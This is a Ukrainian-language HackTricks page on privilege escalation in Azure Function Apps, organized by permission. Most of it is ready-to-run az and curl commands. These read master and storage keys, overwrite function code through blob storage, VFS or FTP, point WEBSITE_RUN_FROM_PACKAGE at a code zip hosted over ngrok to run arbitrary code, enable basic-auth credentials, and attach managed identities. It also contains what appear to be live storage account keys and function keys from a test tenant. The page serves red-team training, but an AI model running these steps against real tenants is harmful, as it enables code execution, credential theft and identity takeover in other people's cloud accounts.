Az - Functions App Privesc
Reading time: 15 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Function Apps
Перевірте наступну сторінку для отримання додаткової інформації:
Bucket Read/Write
Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти різні контейнери (кастомні або з попередньо визначеними іменами), які можуть містити код, виконуваний функцією.
Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.
File Share
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
іWEBSITE_CONTENTSHARE
)
Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і змусити функцію завантажити довільний код, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до Функції.
Цей метод розгортання зазвичай налаштовує параметри WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
і WEBSITE_CONTENTSHARE
, які ви можете отримати з
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Ці конфігурації міститимуть Storage Account Key, який Функція може використовувати для доступу до коду.
caution
З достатніми правами для підключення до File Share та модифікації скрипта можливо виконати довільний код у Функції та підвищити привілеї.
Наступний приклад використовує macOS для підключення до файлового сховища, але рекомендується також перевірити наступну сторінку для отримання додаткової інформації про файлові сховища:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases
(WEBSITE_RUN_FROM_PACKAGE
)
Також часто можна знайти zip релізи всередині папки function-releases
контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері зазвичай називаному function-releases
.
Зазвичай цей метод розгортання встановлює конфігурацію WEBSITE_RUN_FROM_PACKAGE
в:
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Ця конфігурація зазвичай міститиме SAS URL для завантаження коду з Облікового запису зберігання.
caution
З достатніми правами для підключення до контейнера блобів, який містить код у zip, можливо виконати довільний код у Функції та підвищити привілеї.
github-actions-deploy
(WEBSITE_RUN_FROM_PACKAGE)
Так само, як і в попередньому випадку, якщо розгортання здійснюється через Github Actions, можливо знайти папку github-actions-deploy
в Обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні WEBSITE_RUN_FROM_PACKAGE
.
scm-releases
(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
таWEBSITE_CONTENTSHARE
)
З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер scm-releases
. Там можливо знайти останній реліз у форматі файлу файлової системи Squashfs і, отже, можливо прочитати код функції:
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Також можливо знайти master and functions keys, збережені в обліковому записі зберігання в контейнері azure-webjobs-secrets
всередині папки <app-name>
у JSON-файлах, які ви можете знайти всередині.
caution
З достатніми правами для підключення до контейнера blob, який містить код у файлі з розширенням zip (який насправді є squashfs
), можливо виконати довільний код у Function і підвищити привілеї.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Ця дозволяє перерахувати ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
az functionapp keys list --resource-group <res_group> --name <func-name>
З майстер-ключем також можливо отримати вихідний код за URL, як-от:
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
І щоб змінити код, який виконується у функції на:
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Ця дозволяє отримати ключ хоста вказаної функції за допомогою:
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Microsoft.Web/sites/host/functionKeys/write
Ця дозволяє створювати/оновлювати ключ функції вказаної функції з:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Ця дозволяє створювати/оновлювати майстер-ключ для вказаної функції з:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
caution
Пам'ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як було пояснено раніше!
Microsoft.Web/sites/host/systemKeys/write
Ця дозволяє створювати/оновлювати системний функціональний ключ для вказаної функції з:
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/config/list/action
Цей дозвіл дозволяє отримати налаштування функції. Усередині цих конфігурацій може бути можливим знайти значення за замовчуванням AzureWebJobsStorage
або WEBSITE_CONTENTAZUREFILECONNECTIONSTRING
, які містять ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
Крім того, це дозволення також дозволяє отримати SCM ім'я користувача та пароль (якщо увімкнено) за допомогою:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/write
Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми бачили раніше, плюс модифікувати ці значення. Це корисно, оскільки ці налаштування вказують, де знаходиться код для виконання всередині функції.
Отже, можливо встановити значення налаштування WEBSITE_RUN_FROM_PACKAGE
, вказуючи на URL zip-файл, що містить новий код для виконання всередині веб-додатку:
- Почніть з отримання поточної конфігурації
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Змініть функцію, збережіть попередні параметри та додайте в кінці конфігурацію
WEBSITE_RUN_FROM_PACKAGE
, що вказує на URL з zip, що містить код.
Наступний приклад - це мої власні налаштування, вам потрібно змінити значення на свої, зверніть увагу в кінці на значення "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"
, тут я хостив додаток.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
З цим дозволом можливо змінювати код програми через веб-консоль (або через наступну точку доступу API):
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
Microsoft.Web/sites/publishxml/action
, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write
)
Ці дозволи дозволяють перерахувати всі профілі публікації, які в основному містять базові облікові дані аутентифікації:
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Інший варіант полягає в тому, щоб встановити свої власні облікові дані та використовувати їх за допомогою:
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Якщо облікові дані REDACTED
Якщо ви бачите, що ці облікові дані REDACTED, це тому, що вам необхідно увімкнути параметр базової аутентифікації SCM і для цього вам потрібен другий дозвіл (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Метод SCM
Тоді ви можете отримати доступ до SCM URL вашого функціонального додатку з цими базовими обліковими даними та отримати значення змінних середовища:
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Зверніть увагу, що ім'я користувача SCM зазвичай є символом "$", за яким слідує назва програми, отже: $<app-name>
.
Ви також можете отримати доступ до веб-сторінки за адресою https://<app-name>.scm.azurewebsites.net/BasicAuth
Значення налаштувань містять AccountKey облікового запису зберігання, що зберігає дані програми функцій, що дозволяє контролювати цей обліковий запис зберігання.
- Метод FTP
Підключіться до FTP-сервера, використовуючи:
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Зверніть увагу, що FTP ім'я користувача зазвичай має формат <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
Ця дозволяє читати вихідний код програми через VFS:
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
З цією дозволом можливо отримати адміністративний токен, який можна пізніше використати для отримання майстер-ключа і, отже, доступу та зміни коду функції.
Однак, під час моїх останніх перевірок токен не був повернутий, тому він може бути вимкнений або більше не працювати, але ось як ви б це зробили:
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write
, (Microsoft.Web/sites/functions/properties/read
)
Ці дозволи дозволяють включати функції, які можуть бути вимкнені (або вимикати їх).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Також можливо перевірити, чи функція увімкнена або вимкнена за наступною URL-адресою (використовуючи дозволи в дужках):
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write
, Microsoft.Web/sites/config/list/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/read
)
З цими дозволами можливо модифікувати контейнер, що виконується функціональним додатком, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер додатку azure function на docker hub (наприклад) і змусити функцію виконати його.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.App/managedEnvironments/join/action
, (Microsoft.Web/sites/read
, Microsoft.Web/sites/operationresults/read
)
З цими дозволами можливо прикріпити нову керовану ідентичність користувача до функції. Якщо функція була скомпрометована, це дозволить підвищити привілеї до будь-якої керованої ідентичності користувача.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Remote Debugging
Також можливо підключитися для налагодження працюючої Azure функції, як пояснено в документації. Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
Можливо перевірити, чи має функція увімкнене налагодження за допомогою:
az functionapp show --name <app-name> --resource-group <res-group>
Маючи дозвіл Microsoft.Web/sites/config/write
, також можливо перевести функцію в режим налагодження (наступна команда також вимагає дозволів Microsoft.Web/sites/config/list/action
, Microsoft.Web/sites/config/Read
та Microsoft.Web/sites/Read
).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Зміна репозиторію Github
Я намагався змінити репозиторій Github, з якого відбувається розгортання, виконавши наступні команди, але навіть якщо він і змінився, новий код не був завантажений (ймовірно, тому що він очікує, що Github Action оновить код).
Більше того, управляємий обліковий запис федеративних облікових даних не був оновлений, що дозволяє новому репозиторію, тому виглядає так, що це не дуже корисно.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.